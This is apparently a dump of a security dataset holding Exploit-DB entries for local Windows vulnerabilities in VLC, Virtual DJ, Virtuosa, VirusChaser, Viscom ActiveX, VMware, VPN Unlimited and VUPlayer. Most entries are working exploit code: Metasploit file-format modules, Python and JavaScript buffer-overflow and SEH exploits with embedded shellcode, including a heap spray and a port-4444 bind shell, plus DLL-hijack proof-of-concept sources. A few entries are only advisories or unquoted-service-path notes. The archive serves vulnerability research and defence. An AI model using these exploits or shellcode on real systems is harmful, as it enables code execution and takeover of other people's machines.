deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16629
Description: VideoLAN VLC Media Player 0.9.4 - TiVo Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-02-02
Author: Metasploit

Exploit:
##
# $Id: videolan_tivo.rb 11701 2011-02-02 21:47:02Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VideoLAN VLC TiVo Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
				By creating a malicious TY file, a remote attacker could overflow a
				buffer and execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 11701 $',
			'References'     =>
				[
					[ 'CVE', '2008-4654' ],
					[ 'OSVDB', '49181' ],
					[ 'BID', '31813' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 550,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# From /misc/ version
					#[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
					#[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
					[ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
					[ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 22 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.ty']),
			], self.class)
	end

	def exploit

		ty =  "\xF5\x46\x7A\xBD"
		ty << "\x00\x00\x00\x02"
		ty << "\x00\x02\x00\x00"
		ty << "\x00" * 8
		ty << "\x00\x00\x05\x41"
		ty << "\x00" * 4
		ty << "\x00\x00\x05\x49"
		ty << "\x00" * 60
		# From /misc/ version
		#ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
		#ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
		#ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
		ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
		ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)
		ty << "\x05"
		ty << "\x00" * 3
		ty << "\x05"
		ty << "\x00" * 1
		ty << "\x09"
		ty << "\xc0"
		ty << "\x00" * 14
		ty << "\x06"
		ty << "\xe0"
		ty << "\x00" * 302004

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(ty)

	end

end
Exploit-DB #14750
Description: VideoLAN VLC Media Player 1.1.3 - 'wintab32.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Secfence

Exploit:
Exploit Title: VLC Player DLL Hijack Vulnerability
Date: 25 Aug 2010
Author: Secfence
Version: VLC
Tested on: Windows XP

Place a .mp3 file and wintab32.dll in same folder and execute .mp3 file in
vlc player.

Code for wintab32.dll:

/*----------*/

/* wintab32.cpp */

#include "stdafx.h"
#include "dragon.h"

void init() {
MessageBox(NULL,"Pwned", "Pwned!",0x00000003);
}


BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}

/*----------*/


Exploit By:
Vinay Katoch
www.secfence.com
Exploit-DB #35901
Description: VideoLAN VLC Media Player 2.1.5 - DEP Access Violation
Type: local
Platform: windows
Date: 2015-01-26
Author: Veysel HATAS

Exploit:
Title : VLC Player 2.1.5 DEP Access Violation Vulnerability
Discoverer: Veysel HATAS (@muh4f1z)
Web page : www.binarysniper.net
Vendor : VideoLAN VLC Project
Test: Windows XP SP3
Status: Fixed
Severity : High

CVE ID : CVE-2014-9597
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-9597>
NIST: ​https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9597
OSVDB ID : 116450 <http://osvdb.org/show/osvdb/116450>
VLC Ticket : 13389 <https://trac.videolan.org/vlc/ticket/13389>

windbglog : windbglog.txt
<https://trac.videolan.org/vlc/attachment/ticket/13389/windbglog.txt>

Discovered : 24 November 2014
Reported : 26 December 2014
Published : 9 January 2015

Description : VLC Media Player contains a flaw that is triggered as
user-supplied input is not properly sanitized when handling a specially crafted
FLV file <http://www.datafilehost.com/d/9565165f>. This may allow a
context-dependent attacker to corrupt memory and potentially execute
arbitrary code.

# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35901-poc.flv
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35901-windbglog.txt
Exploit-DB #35902
Description: VideoLAN VLC Media Player 2.1.5 - Write Access Violation
Type: local
Platform: windows
Date: 2015-01-26
Author: Veysel HATAS

Exploit:
Title : VLC Player 2.1.5 Write Access Violation Vulnerability
Discoverer: Veysel HATAS (@muh4f1z)
Web page : www.binarysniper.net
Vendor : VideoLAN VLC Project
Test: Windows XP SP3
Status: Fixed
Severity : High

CVE ID : CVE-2014-9598
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-9598>
NIST: ​https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9598
OSVDB ID : 116451 <http://osvdb.org/show/osvdb/116451>
VLC Ticket : 13390 <https://trac.videolan.org/vlc/ticket/13390>

windbglog : windbglog.txt
<https://trac.videolan.org/vlc/attachment/ticket/13390/windbglog.txt>

Discovered : 24 November 2014
Reported : 26 December 2014
Published : 9 January 2015

Description : VLC Media Player contains a flaw that is triggered as
user-supplied input is not properly sanitized when handling a specially crafted
M2V file <http://www.datafilehost.com/d/11daf208>. This may allow a
context-dependent attacker to corrupt memory and potentially execute
arbitrary code.

# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35902-poc.m2v
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35902-windbglog.txt
Exploit-DB #4354
Description: Virtual DJ 5.0 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-09-02
Author: 0x58

Exploit:
#Virtual DJ 5.0 Local Buffer OverFlow
#224 bytes available for shellcode,, you can replace it with you favourite one,, 
#ret addr -> 0x7199403D      jmp esp in mswsock.dll Winxp sp0
#exploit : [A x 484] +[EIP - jmp esp - 4] + [Nops -10] + [Shellcode -224] 
#Discovred by 0x58 && Coded By miyy3t,,Midt's lab !!
#Greetz : M.i.d.t,, Diablos5s5s,, Simo64 ,, s4mi,, issam ,, Metasploit,,Str0ke & All Mor0Ccan & Muslims h4xorz
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

shellcode = "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84"
shellcode+= "\xd1\xfe\xd8\x83\xeb\xfc\xe2\xf4\x78\x39\xba\xd8\x84\xd1\x75\x9d"
shellcode+= "\xb8\x5a\x82\xdd\xfc\xd0\x11\x53\xcb\xc9\x75\x87\xa4\xd0\x15\x91"
shellcode+= "\x0f\xe5\x75\xd9\x6a\xe0\x3e\x41\x28\x55\x3e\xac\x83\x10\x34\xd5"
shellcode+= "\x85\x13\x15\x2c\xbf\x85\xda\xdc\xf1\x34\x75\x87\xa0\xd0\x15\xbe"
shellcode+= "\x0f\xdd\xb5\x53\xdb\xcd\xff\x33\x0f\xcd\x75\xd9\x6f\x58\xa2\xfc"
shellcode+= "\x80\x12\xcf\x18\xe0\x5a\xbe\xe8\x01\x11\x86\xd4\x0f\x91\xf2\x53"
shellcode+= "\xf4\xcd\x53\x53\xec\xd9\x15\xd1\x0f\x51\x4e\xd8\x84\xd1\x75\xb0"
shellcode+= "\xb8\x8e\xcf\x2e\xe4\x87\x77\x20\x07\x11\x85\x88\xec\x21\x74\xdc"
shellcode+= "\xdb\xb9\x66\x26\x0e\xdf\xa9\x27\x63\xb2\x9f\xb4\xe7\xff\x9b\xa0"
shellcode+= "\xe1\xd1\xfe\xd8"

bof = "A"*484+"\x3D\x40\x99\x71"+"\x90"*10+shellcode

file = open('c:\/xploit.m3u','w+')
file.write("#EXTM3U\n");
file.write("#EXTINF:0,TITLE\n")
file.write("C:/")
file.write(bof)
file.close()

print "Exploit generated in c:\/xploit.m3u ...now open it with virtual dj !! "

# milw0rm.com [2007-09-02]
Exploit-DB #16070
Description: Virtuosa Phoenix Edition 5.2 - ASX Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2011-01-28
Author: Acidgen

Exploit:
#!/usr/bin/python

# Exploit Title: Virtuosa Phoenix Edition 5.2 ASX BOF SEH Overwrite 
# Date found: Aug 16th 2010
# Author: Acidgen
# Software Link: http://download1.virtuosa.com/VirtuosaTrial.exe
# Version: 5.2
# Tested on: Windows XP SP2
# Virtuosa - File > Import  > Import song or video file from Playlists

junkA = '\x41' * 1021
junkB = '\x42' * 8979
nSEH  = '\xeb\x06\xff\xff'
SEH   = '\x7e\xaa\x01\x10'
nop = '\x90' * 10
getpc="\xd9\xeb\x9b\xd9\x74\x24\xf4\x5b"
addebx="\x83\xc3\x0b"
# Bindshell port 4444
sc = ("j314d34djq34djk34d1431s11s7j314d34dj234dkms502ds5o0d35upjb4c94oe246b3gk53590ofo4317dn40x081dkb19056k05oe8elx2c0e64j810ng4g0b2864mx716d5b7g2k0f1g7f8g2x7cmd58k809jfmxj19emx3g8x0b0269lejg82mg3b800bk3n90f4b2xj0o543689xkc82jb5xjg84l0619e7x29214enb930482mf817x7b0d1e0e130bj4jxj3obk95flb3k0b1b7x0e90j9m55b0dm08f8cj29c105cm0m9kk53n088n1nx6kn82fjf994d645xm4lk1k94kx44ng5e1e4bm81xm4jg1goxo1o344k9kd7b4f72l554o3jdje791xj0n002lbm9m15c8glejfk1kd9bm23f432d40858kj18e809f5bob1x285f6k9xkgldm15f49j5o30b52jdjb2xk26089jejg0km30xn3595kjbkdlx4191o1o42d817gmfj82520kf2djb744do338j28fnf7c13782e7152mf21ndm0nf0860k22301odlej3n0154dk27g3f3kj10k3k835919kdkxob28o09c9892kgm9lencl31ekgnemg756c5x841b4dlk734k945k60k3m910jejd1boe349d7b58mk530gkgob58ok085kjk7g492e4d228e8260jbl809l17do43f2d832g648x9b7929437f38k4j45242o099803f5")
asxheader=("<ASX version = '3.0'>" + "\r\n"
"<Title>ASX BOF SEH Overwrite Exploit</Title>" + "\r\n"
"<Abstract>Perhaps it is, what do you think?</Abstract>" +"\r\n"
"<MoreInfo href = 'http://google.com" + "\r\n"
"\r\n"
"<Entry>" + "\r\n"
"<Title>How the hacker took over Virtuosa</Title>" + "\r\n"
"<Author>Lucas Lundgren - acidgen [at] grayhat [onedot] se</Author>" + "\r\n"
'<Ref href="'+junkA+nSEH+SEH+nop+getpc+addebx+sc+junkB+'"'+"/>" + "\r\n"
"</Entry>"+"\r\n"
"</ASX>"
"\r\n\r\n")
filename = "asxcrash.asx"
print "[-]Virtuosa Phoenix Edition 5.2 ASX BOF SEH Overwrite"
print "[*]Generating exploit...\n"
file = open(filename,"w")
file.writelines(asxheader)
file.close()
print "[*]Done...\n"
Exploit-DB #41887
Description: VirusChaser 8.0 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2017-04-14
Author: 0x41Li

Exploit:
# Exploit Title: Virus Chaser 8.0 - Scanner component, SEH Overflow
# Date: 14 April 2017
# Exploit Author: 0x41Li (0x41Li.D@gmail.com)
# Vendor Homepage: https://www.viruschaser.com/
# Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip
# Tested on: Windows 7 (Universal)

import os
from struct import pack

## msfvenom -a x86 --platform Windows -p windows/exec cmd=calc -b '\x00\x0d\x0a\x09\x22' -f c   # x86/shikata_ga_nai succeeded with size 216  ## BADCHARS = \x00\x0d\x0a\x09 AVOIDED = \x22 = " (Cut the buffer)
shellcode= ("\xbe\x7a\x1f\x2d\x97\xda\xd5\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
			"\x30\x83\xc2\x04\x31\x72\x0f\x03\x72\x75\xfd\xd8\x6b\x61\x83"
			"\x23\x94\x71\xe4\xaa\x71\x40\x24\xc8\xf2\xf2\x94\x9a\x57\xfe"
			"\x5f\xce\x43\x75\x2d\xc7\x64\x3e\x98\x31\x4a\xbf\xb1\x02\xcd"
			"\x43\xc8\x56\x2d\x7a\x03\xab\x2c\xbb\x7e\x46\x7c\x14\xf4\xf5"
			"\x91\x11\x40\xc6\x1a\x69\x44\x4e\xfe\x39\x67\x7f\x51\x32\x3e"
			"\x5f\x53\x97\x4a\xd6\x4b\xf4\x77\xa0\xe0\xce\x0c\x33\x21\x1f"
			"\xec\x98\x0c\x90\x1f\xe0\x49\x16\xc0\x97\xa3\x65\x7d\xa0\x77"
			"\x14\x59\x25\x6c\xbe\x2a\x9d\x48\x3f\xfe\x78\x1a\x33\x4b\x0e"
			"\x44\x57\x4a\xc3\xfe\x63\xc7\xe2\xd0\xe2\x93\xc0\xf4\xaf\x40"
			"\x68\xac\x15\x26\x95\xae\xf6\x97\x33\xa4\x1a\xc3\x49\xe7\x70"
			"\x12\xdf\x9d\x36\x14\xdf\x9d\x66\x7d\xee\x16\xe9\xfa\xef\xfc"
			"\x4e\xf4\xa5\x5d\xe6\x9d\x63\x34\xbb\xc3\x93\xe2\xff\xfd\x17"
			"\x07\x7f\xfa\x08\x62\x7a\x46\x8f\x9e\xf6\xd7\x7a\xa1\xa5\xd8"
			"\xae\xc2\x28\x4b\x32\x05")

junk = "A"*688
jmp ="\xeb\x0b\x41\x41"  ## JMP 0B 
ret = pack('<L',0x10010c81)  #pop ECX #pop ESI #RET [sgbidar.dll]  (magic addr)
nop = "\x90"*24
payload = junk + jmp + ret + nop + shellcode
print payload
os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + payload + "\"")
Exploit-DB #15693
Description: Viscom VideoEdit Gold ActiveX 8.0 - Code Execution
Type: local
Platform: windows
Date: 2010-12-06
Author: Rew

Exploit:
<!--
 
Title: Viscom VideoEdit Gold ActiveX 8.0 Remote Code Execution Exploit
Date: Dec 5, 2010
Author: Rew
Email: rew [splat] leethax.info
Link: http://www.viscomsoft.com/products/videoeditgold/index.html
Version: 8.0.0.0
Tested on: WinXP - IE 6
CVE: NA (0day)
 
Impact is relatively low due to object not marked safe for scripting.  You'll
need to change the default IE settings to let it run.

This is a plain vanilla stack overflow.  The file is...
"%PROGRAMFILES%\VideoEdit Gold ActiveX Control\VideoEdit.ocx"
I'm not using the SEH but here's the offsets just for kicks if you're interested.

[2311 junk] [ebp] [eip] [284 junk] [nseh] [seh]
 
-->

<object classid='clsid:57D9AF4C-23BA-47EC-A40B-2DA79641B285' id='target' /></object>

<script>

// Ctrl+C Ctrl+V, herpderp

// calc.exe
var shellcode = unescape(
	'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
	'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
	'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
	'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
	'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
	'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
	'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
	'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'
); 

var nops = unescape('%u9090%u9090');

var headersize = 20;
var slackspace = headersize + shellcode.length;

while(nops.length < slackspace) {
	nops += nops;
}

var fillblock = nops.substring(0, slackspace);
var block = nops.substring(0, nops.length - slackspace);

while((block.length + slackspace) < 0x50000) {
	block = block + block + fillblock;
}

memory=new Array();
for(counter=0; counter<200; counter++){
	memory[counter] = block + shellcode;
}

var bof = '';
while(bof.length < 2312){
	bof += 'A';
}
bof += 'BBBB'; // EBP
bof += "\x0c\x0c\x0c\x0c"; // EIP

document.getElementById('target').RMLoadProfiles( bof );

</script>
Exploit-DB #41207
Description: Viscosity 1.6.7 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2017-01-31
Author: Kacper Szurek

Exploit:
# Exploit Title: Viscosity for Windows 1.6.7 Privilege Escalation
# Date: 31.01.2017
# Software Link: https://www.sparklabs.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
 
1. Description

It is possible to execute openvpn with custom dll as SYSTEM using ViscosityService because path is not correctly validated. 

https://security.szurek.pl/viscosity-for-windows-167-privilege-escalation.html

2. Proof of Concept

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41207.zip

3. Solution

Update to version 1.6.8

https://www.sparklabs.com/blog/viscosity-for-mac-windows-version-1-6-8/
Exploit-DB #50824
Description: VIVE Runtime Service - 'ViveAgentService' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-14
Author: Faisal Alasmari

Exploit:
# Exploit Title: VIVE Runtime Service - 'ViveAgentService' Unquoted Service Path
# Date: 11/03/2022
# Exploit Author: Faisal Alasmari 
# Vendor Homepage: https://www.vive.com/
# Software Link: https://developer.vive.com/resources/downloads/
# Version: 1.0.0.4
# Tested: Windows 10 x64



C:\Users\User>sc qc "VIVE Runtime Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VIVE Runtime Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\VIVE\Updater\App\ViveRuntimeService\ViveAgentService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VIVE Runtime Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #47715
Description: VMware WorkStation 12.5.3 - Virtual Machine Escape
Type: local
Platform: windows
Date: 2019-06-06
Author: unamer

Exploit:
# VMware Escape Exploit

VMware Escape Exploit before VMware WorkStation 12.5.3

Host Target: Win10 x64

Compiler: VS2013 

Test on VMware 12.5.2 build-4638234

# Known issues

* Failing to heap manipulation causes host process crash. (About 50% successful rate )
* Not quite elaborate because I'm not good at doing heap "fengshui" on winows LFH.

# FAQ

* Q: Error in reboot vmware after crashing process.
* A: Just remove ***.lck** folder in your vm directory or wait a while and have a coffee :).Here is a simple [script](https://raw.githubusercontent.com/unamer/vmware_escape/master/cve-2017-4901/cleanvm.bat) I used to clean up.


![](https://github.com/unamer/vmware_escape/raw/master/CVE-2017-4905_and_uaf/exploit.gif)

# Reference

* https://keenlab.tencent.com/en/2018/04/23/A-bunch-of-Red-Pills-VMware-Escapes/

EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47715.zip
Exploit-DB #47714
Description: VMware WorkStation 12.5.5 - Virtual Machine Escape
Type: local
Platform: windows
Date: 2017-08-08
Author: unamer

Exploit:
# VMware Escape Exploit

VMware Escape Exploit before VMware WorkStation 12.5.5

Host Target: Win10 x64

Compiler: VS2013 

Test on VMware 12.5.2 build-4638234

# Known issues

* Failing to heap manipulation causes host process crash.
* Not quite elaborate because I'm not good at doing heap "fengshui" on winows LFH.

# FAQ

* Q: Error in reboot vmware after crashing process.
* A: Just remove ***.lck** folder in your vm directory or wait a while and have a coffee :).Here is a simple [script](https://raw.githubusercontent.com/unamer/vmware_escape/master/cve-2017-4901/cleanvm.bat) I used to clean up.


![](https://github.com/unamer/vmware_escape/raw/master/cve-2017-4901/exp.gif)


EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47714.zip
Exploit-DB #46851
Description: VMware Workstation 15.1.0 - DLL Hijacking
Type: local
Platform: windows
Date: 2019-05-16
Author: Miguel Mendez Z. & Claudio Cortes C.

Exploit:
#---------------------------------------------------------
# Title: VMware Workstation DLL hijacking < 15.1.0
# Date: 2019-05-14
# Author: Miguel Mendez Z. & Claudio Cortes C.
# Team: www.exploiting.cl
# Vendor: https://www.vmware.com
# Version: VMware Workstation Pro / Player (Workstation)
# Tested on: Windows Windows 7_x86/7_x64 [eng]
# Cve: CVE-2019-5526
#---------------------------------------------------------


Description:

VMware Workstation contains a DLL hijacking issue because some DLL.


DLL Hijacking: shfolder.dll
Hooking: SHGetFolderPathW()

------Code_Poc-------
#include "dll.h"
#include <windows.h>

DLLIMPORT void SHGetFolderPathW()
{
MessageBox(0, "s1kr10s", "VMWare-Poc", MB_ICONINFORMATION);
exit(0);
}

--------------------------


https://www.vmware.com/security/advisories/VMSA-2019-0007.html
Exploit-DB #47916
Description: VPN unlimited 6.1 - Unquoted Service Path
Type: local
Platform: windows
Date: 2020-01-14
Author: Amin Rawah

Exploit:
# Exploit Title: VPN unlimited 6.1 - Unquoted Service Path
# Date: 2020-1-13
# Exploit Author: Amin Rawah
# Vendor Homepage: https://www.vpnunlimitedapp.com
# Version: 6.1
# Tested on: Windows 10 64bit

C:\Users\Amin>sc qc VPNUnlimitedService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VPNUnlimitedService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\VPN
Unlimited\vpn-unlimited-daemon.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VPN Unlimited Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #16658
Description: VUPlayer - '.cue' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: vuplayer_cue.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VUPlayer CUE Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack over flow in VUPlayer <= 2.49. When
				the application is used to open a specially crafted cue file, an buffer is overwritten allowing
				for the execution of arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'OSVDB', '64581'],
					[ 'BID', '33960' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 18 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.cue']),
			], self.class)

	end

	def exploit

		sploit =  rand_text_alpha_upper(1012)
		sploit << [target.ret].pack('V')
		sploit << "\x90" * 12
		sploit << payload.encoded

		cue =  "FILE ""\""
		cue << sploit
		cue << ".BIN""\"" + " BINARY\r\n"
		cue << "TRACK 01 MODE1/22352\r\n"
		cue << "INDEX 01 00:00:00\r\n"

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(cue)

	end

end